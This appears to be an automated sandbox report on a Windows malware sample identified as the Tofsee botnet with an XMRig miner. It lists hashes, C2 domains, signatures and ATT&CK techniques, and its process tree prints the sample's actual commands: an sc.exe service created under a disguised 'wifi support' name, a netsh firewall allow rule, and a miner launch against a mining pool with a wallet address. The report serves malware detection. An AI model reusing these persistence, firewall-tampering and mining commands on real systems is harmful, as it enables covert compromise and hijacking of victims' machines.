Analysis

  • max time kernel
    146s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    27-03-2023 08:11

General

  • Target

    file.exe

  • Size

    259KB

  • MD5

    0ba4447a07a7c2c63cfe7aa69173ab6a

  • SHA1

    00273726672ded3869e15e24e09ee1053f547f0f

  • SHA256

    7c3bd96cd755ebe1e700c2b578cf83e88d10ce2529213c5bccf2def62b5a6474

  • SHA512

    0b169df73780dfe8d3e5b4c1c298e51e2cab756482a6f6cb439ddae6e66f4c918daa8aa3f059820b2639651e59bc766dc506df654d218d995e843b5f343ebd4d

  • SSDEEP

    3072:cypgerGfQDgLG96SFeQYWxK14YrLLKzxR/yrhIfD1lBqlb2PDFgvRs5xbBo2+:1xDgLzSHYKg4Yr0bTlm6Zto

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 8 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:452
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\zphtrsgp\
      2⤵
        PID:1636
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\hfpqsorx.exe" C:\Windows\SysWOW64\zphtrsgp\
        2⤵
          PID:4128
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create zphtrsgp binPath= "C:\Windows\SysWOW64\zphtrsgp\hfpqsorx.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:5040
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description zphtrsgp "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1476
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start zphtrsgp
          2⤵
          • Launches sc.exe
          PID:324
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2200
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 452 -s 1176
          2⤵
          • Program crash
          PID:4504
      • C:\Windows\SysWOW64\zphtrsgp\hfpqsorx.exe
        C:\Windows\SysWOW64\zphtrsgp\hfpqsorx.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:808
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2168
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:424
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 808 -s 556
          2⤵
          • Program crash
          PID:3820
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 452 -ip 452
        1⤵
          PID:4012
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 808 -ip 808
          1⤵
            PID:2284

          Network

          MITRE ATT&CK Matrix ATT&CK v6

          Persistence

          New Service

          1
          T1050

          Modify Existing Service

          1
          T1031

          Registry Run Keys / Startup Folder

          1
          T1060

          Privilege Escalation

          New Service

          1
          T1050

          Defense Evasion

          Modify Registry

          1
          T1112

          Discovery

          Query Registry

          1
          T1012

          System Information Discovery

          2
          T1082

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\hfpqsorx.exe
            Filesize

            11.3MB

            MD5

            51cf7a0e5a809ea568a849627945ac54

            SHA1

            f8822f162c3cd8f4e0e7cb91637f4efeacfde58b

            SHA256

            1c31db694c76f1d92c49d492c3bc4071577282655ad6236f89e48da81e6cb0db

            SHA512

            03fe964394f7b6cb6de05102813905de50b491895110d12e01b987465bb7158d171b2f6c5f897b0de32376a9c028977e35cd4d740c6394835b02407efccc1359

          • C:\Windows\SysWOW64\zphtrsgp\hfpqsorx.exe
            Filesize

            11.3MB

            MD5

            51cf7a0e5a809ea568a849627945ac54

            SHA1

            f8822f162c3cd8f4e0e7cb91637f4efeacfde58b

            SHA256

            1c31db694c76f1d92c49d492c3bc4071577282655ad6236f89e48da81e6cb0db

            SHA512

            03fe964394f7b6cb6de05102813905de50b491895110d12e01b987465bb7158d171b2f6c5f897b0de32376a9c028977e35cd4d740c6394835b02407efccc1359

          • memory/424-198-0x00000000006D0000-0x00000000007C1000-memory.dmp
            Filesize

            964KB

          • memory/424-199-0x00000000006D0000-0x00000000007C1000-memory.dmp
            Filesize

            964KB

          • memory/424-197-0x00000000006D0000-0x00000000007C1000-memory.dmp
            Filesize

            964KB

          • memory/424-196-0x00000000006D0000-0x00000000007C1000-memory.dmp
            Filesize

            964KB

          • memory/424-195-0x00000000006D0000-0x00000000007C1000-memory.dmp
            Filesize

            964KB

          • memory/424-194-0x00000000006D0000-0x00000000007C1000-memory.dmp
            Filesize

            964KB

          • memory/424-193-0x00000000006D0000-0x00000000007C1000-memory.dmp
            Filesize

            964KB

          • memory/424-188-0x00000000006D0000-0x00000000007C1000-memory.dmp
            Filesize

            964KB

          • memory/452-143-0x0000000000400000-0x0000000000704000-memory.dmp
            Filesize

            3.0MB

          • memory/452-134-0x0000000002320000-0x0000000002333000-memory.dmp
            Filesize

            76KB

          • memory/808-142-0x0000000000400000-0x0000000000704000-memory.dmp
            Filesize

            3.0MB

          • memory/2168-167-0x0000000001B30000-0x0000000001B40000-memory.dmp
            Filesize

            64KB

          • memory/2168-173-0x0000000001B30000-0x0000000001B40000-memory.dmp
            Filesize

            64KB

          • memory/2168-160-0x0000000001B30000-0x0000000001B40000-memory.dmp
            Filesize

            64KB

          • memory/2168-161-0x0000000001B30000-0x0000000001B40000-memory.dmp
            Filesize

            64KB

          • memory/2168-162-0x0000000001B30000-0x0000000001B40000-memory.dmp
            Filesize

            64KB

          • memory/2168-163-0x0000000001B30000-0x0000000001B40000-memory.dmp
            Filesize

            64KB

          • memory/2168-164-0x0000000001B30000-0x0000000001B40000-memory.dmp
            Filesize

            64KB

          • memory/2168-166-0x0000000001B30000-0x0000000001B40000-memory.dmp
            Filesize

            64KB

          • memory/2168-165-0x0000000001B30000-0x0000000001B40000-memory.dmp
            Filesize

            64KB

          • memory/2168-156-0x0000000001B30000-0x0000000001B40000-memory.dmp
            Filesize

            64KB

          • memory/2168-168-0x0000000001B30000-0x0000000001B40000-memory.dmp
            Filesize

            64KB

          • memory/2168-169-0x0000000001B30000-0x0000000001B40000-memory.dmp
            Filesize

            64KB

          • memory/2168-170-0x0000000001B30000-0x0000000001B40000-memory.dmp
            Filesize

            64KB

          • memory/2168-171-0x0000000001B30000-0x0000000001B40000-memory.dmp
            Filesize

            64KB

          • memory/2168-172-0x0000000001B30000-0x0000000001B40000-memory.dmp
            Filesize

            64KB

          • memory/2168-159-0x0000000001B30000-0x0000000001B40000-memory.dmp
            Filesize

            64KB

          • memory/2168-174-0x0000000001B30000-0x0000000001B40000-memory.dmp
            Filesize

            64KB

          • memory/2168-175-0x0000000001B30000-0x0000000001B40000-memory.dmp
            Filesize

            64KB

          • memory/2168-176-0x00000000029D0000-0x00000000029D5000-memory.dmp
            Filesize

            20KB

          • memory/2168-179-0x00000000029D0000-0x00000000029D5000-memory.dmp
            Filesize

            20KB

          • memory/2168-180-0x0000000007340000-0x000000000774B000-memory.dmp
            Filesize

            4.0MB

          • memory/2168-183-0x0000000007340000-0x000000000774B000-memory.dmp
            Filesize

            4.0MB

          • memory/2168-184-0x00000000029E0000-0x00000000029E7000-memory.dmp
            Filesize

            28KB

          • memory/2168-153-0x0000000001B20000-0x0000000001B26000-memory.dmp
            Filesize

            24KB

          • memory/2168-152-0x0000000002400000-0x000000000260F000-memory.dmp
            Filesize

            2.1MB

          • memory/2168-149-0x0000000002400000-0x000000000260F000-memory.dmp
            Filesize

            2.1MB

          • memory/2168-148-0x00000000005A0000-0x00000000005B5000-memory.dmp
            Filesize

            84KB

          • memory/2168-146-0x00000000005A0000-0x00000000005B5000-memory.dmp
            Filesize

            84KB

          • memory/2168-145-0x00000000005A0000-0x00000000005B5000-memory.dmp
            Filesize

            84KB

          • memory/2168-144-0x00000000005A0000-0x00000000005B5000-memory.dmp
            Filesize

            84KB

          • memory/2168-139-0x00000000005A0000-0x00000000005B5000-memory.dmp
            Filesize

            84KB